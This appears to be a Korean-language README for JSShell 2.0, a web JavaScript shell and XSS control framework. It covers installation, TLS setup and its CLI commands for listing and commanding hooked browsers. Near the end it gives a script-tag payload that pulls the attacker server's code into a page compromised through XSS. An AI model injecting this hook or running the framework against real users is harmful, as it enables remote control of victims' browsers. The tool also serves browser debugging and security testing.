
대화형 다중 사용자 웹 JS 셸
대화형 다중 사용자 웹 기반 자바스크립트 쉘입니다. 처음에는 실험 및 연구 중에 원격의 난해한 브라우저를 디버깅하기 위해 만들어졌습니다. 이 도구는 XSS(Cross Site Scripting) 페이로드에 쉽게 연결하여 브라우저 원격 코드 실행(BeeF 프레임워크와 유사)을 달성할 수 있습니다.
버전 2.0은 완전히 처음부터 새로 만들어졌으며, 새롭고 흥미로운 기능, 안정성 및 유지보수성을 제공합니다.
<script> 태그를 통한 주입 가능resources 디렉토리에서 config.json 파일을 원하는 구성으로 업데이트하세요:
docker 배포 방식을 사용하는 경우 데이터베이스 호스트를 db로 선택하십시오(내부 호스트 이름).shell.js 파일은 등록 및 새 명령 폴링을 위해 일부 AJAX 호출을 수행합니다. 일반적으로 http[s]://{서버_IP}:{포트}입니다.이제 JSShell이 TLS를 지원하므로 TLS 인증서를 생성하여 웹 서버에 제공할 수 있습니다. 웹 서버는 config.json 파일에서 도메인 이름을 추론합니다. 인증서를 생성하려면 scripts 폴더에 있는 create_cert.py 스크립트를 사용하세요:
$ cd scripts
$ python create_cert.py --domain <도메인> --email <이메일>
웹 서버가 실행 중이면 스크립트가 제대로 작동하지 않으므로 중지해야 합니다. 이 시점에서 인증서가 성공적으로 생성되었습니다! 수행해야 할 유일한 수정 사항은 다음과 같습니다:
config.json 파일에서 URL 필드의 스키마를 https로 변경합니다.docker-compose.yml 파일에서 web 컨테이너의 노출 포트를 443으로 변경합니다.이 새 버전은 docker 및 docker-compose를 통해 JSShell을 설치하고 실행할 수 있습니다. 이제 전체 JSShell 프레임워크를 설치하고 실행하려면 다음을 실행하세요:
$ ./scripts/start_docker_shell.sh
그러면:
JSShell 명령줄 인터페이스 컨테이너의 새 인스턴스를 생성합니다.여전히 기존 방식으로 설치하려면 MongoDB 데이터베이스가 실행 중인지 확인하고 resources 디렉토리에 있는 config.json 파일을 업데이트하세요.
pyenv와 함께 가상 환경을 사용하는 것을 권장합니다:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv
또는 virtualenv 사용:
$ virtualenv -p python3.6 venv
$ source venv/bin/activate
그런 다음 요구 사항을 설치하세요:
$ pip install -r requirements.txt
docker 방식을 사용했다면 아래 절차를 실행할 필요가 없습니다.
그 외의 경우, 데이터베이스 설정이 완료되면 웹 API 서버를 시작해야 합니다. 다음을 실행하세요:
$ python manage.py web
그러면 들어오는 연결을 수신하고 JSShell 코드를 제공하는 웹 서버가 생성 및 실행됩니다.
이제 JSShell CLI를 시작하려면 동일한 스크립트를 shell 플래그와 함께 실행하세요:
$ python manage.py shell
설정 및 필요한 구성 요소를 실행한 후 help 명령어를 입력하여 사용 가능한 명령어를 확인하세요:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit 텍스트 편집기에서 파일 편집
help 사용 가능한 명령어 나열 또는 특정 명령어에 대한 자세한 도움말 표시
history 이전에 입력한 명령어 보기, 실행, 편집, 저장 또는 지우기
ipy 대화형 IPython 셸 시작
py Python 명령어 또는 셸 호출
quit 이 애플리케이션 종료
Shell Based Operations
--------------------------------------------------------------------------------
back 현재 선택한 클라이언트 선택 해제
clients 시스템에 등록된 클라이언트 목록 및 제어
commands 선택한 클라이언트에서 실행된 명령어 보기
dump 명령어를 디스크에 덤프
execute 선택한 클라이언트에서 명령어 실행
select 클라이언트를 현재 클라이언트로 선택
>>
JSShell은 2가지 작동 방식을 지원합니다:
다른 XSS 제어 프레임워크(예: BeeF)와 유사하게 JSShell은 성공적인 XSS 악용을 관리할 수 있습니다. 예를 들어, script 태그를 주입할 수 있다면 다음 리소스를 페이로드에 추가하면 콘솔에 새 클라이언트가 나타납니다:
<script src="http[s]://{서버_IP}:{포트}/content/js"></script>
비정형적이고 난해한 브라우저를 디버깅하려면 http[s]://{서버_IP}:{포트}/로 이동하기만 하면 JSShell CLI 클라이언트에 새 클라이언트가 나타납니다. 이제 JSShell 콘솔을 통해 디버깅할 수 있습니다.
Canop의 JSON.prune 제공